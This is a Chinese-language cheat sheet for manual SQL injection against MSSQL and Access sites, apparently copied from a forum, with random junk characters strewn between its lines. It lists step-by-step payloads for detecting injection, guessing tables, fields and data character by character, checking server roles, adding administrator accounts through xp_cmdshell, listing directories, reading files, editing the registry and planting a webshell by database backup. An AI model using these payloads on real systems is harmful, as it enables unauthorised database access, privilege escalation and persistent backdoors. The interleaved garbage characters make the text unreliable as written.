手工脚本注入
, W. t) m a8 c- b d$ W) `$ n1.判断是否有注入;and 1=1 ;and 1=2 ' O" L1 U$ R$ T
/ B9 Y$ |% X* l- Y5 u
2.初步判断是否是mssql ;and user>0
1 [3 u! E& x7 ^4 r: H, }6 j9 U3 m* {9 g+ H0 S. [% b5 [2 S
3.注入参数是字符'and [查询条件] and ''=' . n3 V) c* l' Q i" E: v+ y0 j7 J" g: E
+ C0 I$ T& h6 X0 |+ K' m* @$ m4.搜索时没过滤参数的'and [查询条件] and '%25'='
) I2 p8 e/ N3 }' ~6 d, V4 G: r g0 n% J. Q/ a' l
5.判断数据库系统 9 b( I, S! C1 O* y
;and (select count(*) from sysobjects)>0 mssql
, H- @/ d% @( s: l! d;and (select count(*) from msysobjects)>0 access % \" ^0 ^: O g2 P4 ^
+ C$ w: j7 a7 L6.猜数据库 ;and (select Count(*) from [数据库名])>0
! n' B+ E8 d( T1 ~- ?
# r2 S2 A3 ] Q2 H: l/ a7 B8 j6 ^/ c9 `7.猜字段 ;and (select Count(字段名) from 数据库名)>0
0 f5 O8 D5 ?8 D. q" a% }
8 I- ?8 v T; V6 Y. o. N% o" G. d$ l5 R8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
, ^9 F7 r- a! I* l# D% { U B: t% S2 _5 K s
9.(1)猜字段的ascii值(access)
: f5 n- X- _5 q" P! P7 A: C;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 7 U9 T8 P' v5 t+ n
/ _- x3 u! X" K0 L+ ]* I& R- E
(2)猜字段的ascii值(mssql) $ v( @3 Y5 n7 i; a* b# X9 r
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
& h! P, i4 u3 v8 a% y( _
# m# }( w* I+ J K10.测试权限结构(mssql)
5 w/ E1 B% }" x4 K2 {+ N;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ) ?( z. r: n/ k3 B$ Y
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
& u& z" s. O& i2 ]1 N- L2 ~;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
8 X& k$ t" V: U;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
6 Q# J$ S: w" {! P! @;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
0 t) i7 b' p4 `( Z ~+ C5 j/ m;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0 |8 F" |/ p0 A5 B. S$ ]
;and 1=(select IS_MEMBER('db_owner'));-- 9 s. Z9 N/ H+ `' N( Z
+ R4 l) }5 i$ ?4 j0 |+ s2 ?3 q
11.添加mssql和系统的帐户 2 G, Z& E) B+ ~* ?* W
;exec master.dbo.sp_addlogin username;--
/ N+ ]/ X, k6 c$ E
: Q0 K& Z ]5 j: a1 [, B;exec master.dbo.sp_password null,username,password;--
' S& P! N/ Y1 S7 j7 P8 x( O6 P5 P" L* ^- N' M4 Y
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
. f; k# R; t' Z i2 n' V- V- ~; L% W9 M; e. x3 H) r
;exec master.dbo.xp_cmdshell 'net user username password 6 R5 m% G+ o5 f T
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 4 P% y/ k+ }: A
! Y- m2 i- }4 g5 b8 _- M/ a;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; K- [- S! W7 K8 G
1 Z: {: o I2 k1 b( q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- * S; p( }; M$ c8 M- w
1 ?. B5 [1 p1 ?6 P" j9 \% \
12.(1)遍历目录 4 y! b/ p, q) x! Y* @$ L+ k( J
0 Z1 J4 O: M+ L" n- z' X7 u/ d;create table dirs(paths varchar(100), id int) * z- ^% x4 p6 `- W E; `, G
;insert dirs exec master.dbo.xp_dirtree 'c:\' $ A: ?+ n" ^" N' U; Y E/ d1 A
;and (select top 1 paths from dirs)>0 - ~3 M* P/ z' P5 [' `
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $ K- M w1 d: K A+ M: a! Y) _
2 r* a. K/ o) W$ R _% q' U(2)遍历目录 8 M6 y' C9 [) T A
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- & @, f" @. i3 B. S3 D. P% k2 Q) ]. B
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 / }. W- A$ B) G( v/ u# f6 g: E
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 + d3 z2 M& x5 z1 o+ N. S# j
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 + H# ?+ z: r0 Y6 i7 y. M
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
4 ~# t: R5 S( y
+ }6 Z3 V9 z/ t# k @; J4 i13.mssql中的存储过程
; M1 K2 ?% z9 _8 g1 z4 I; E) G8 }* w6 V; Z3 X% Y, u" h
xp_regenumvalues 注册表根键, 子键
3 W; Y+ l }! p8 N" k/ @: K( A;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
4 _1 I" Y1 S6 U4 a
# p0 r5 J0 P2 gxp_regread 根键,子键,键值名 5 r% @7 Z5 h' h/ E
;exec xp_regread
' K: i3 w: v! i8 ~# o& U0 j'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 4 h# r! m- _7 D ~5 _+ j$ f4 K
" _- n8 z3 q. v1 v4 u5 G
xp_regwrite 根键,子键, 值名, 值类型, 值 * H8 c9 M3 h0 x8 L% b' r9 k& [9 z$ H
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 4 j+ T3 p8 _, U2 d# l
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 1 l0 X0 u& n! A+ ~) f) ]6 L& B
3 K; j# [! L& R+ M r* L1 R: f- Fxp_regdeletevalue 根键,子键,值名 & p( _5 F9 x. g# |
# R( L5 S; t, L8 T6 e& ~8 J
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
N. H+ |) h" Q/ n8 n
- m: y$ B) q* s+ j4 Hxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2 N4 S3 i$ p( c: T! p$ S8 D$ t
2 V, E) B8 h% N5 a
14.mssql的backup创建webshell
. M" D- c7 S( w, yuse model
( K. n$ D, ], L( n) v/ o7 acreate table cmd(str image); * M6 w* M# Q) v; h: J( g W
insert into cmd(str) values (''); ; e1 q+ f2 P7 d
backup database model to disk='c:\l.asp'; # u: ~) b! l; N& _! q
4 p& r9 J8 D2 |5 \$ T7 z: c3 r
15.mssql内置函数 : Y9 J8 C, X/ U3 I. o
;and (select @@version)>0 获得Windows的版本号
/ i. @& [- a& u8 e+ A- ?+ d8 }7 _;and user_name()='dbo' 判断当前系统的连接用户是不是sa $ M: E; {# [( g& \1 }5 h) R6 T
;and (select user_name())>0 爆当前系统的连接用户 1 A5 X! Q5 ^$ S$ C* }0 F/ D" `2 ^
;and (select db_name())>0 得到当前连接的数据库 0 o/ l1 ~1 L% H
; v+ T t: C* E16.简洁的webshell + t- `% L. W. B3 u
& \7 v( n1 A$ n( k8 Tuse model
$ _9 S% B" h3 b/ Y0 s5 S) M1 }6 a" \7 q& R7 E9 g
create table cmd(str image); ! Y6 [) B {1 i, e
2 {; B4 ?) q6 T& Q/ J& u1 c' A3 {( ginsert into cmd(str) values (''); ! H/ P5 E& J: ?) o* v; w
/ E0 K6 @2 j' n6 j4 q& L' P
backup database model to disk='g:\wwwtest\l.asp';
4 ]* D9 H, d/ e `3 F4 g' H - V# x6 \4 J# j, C/ D9 t
|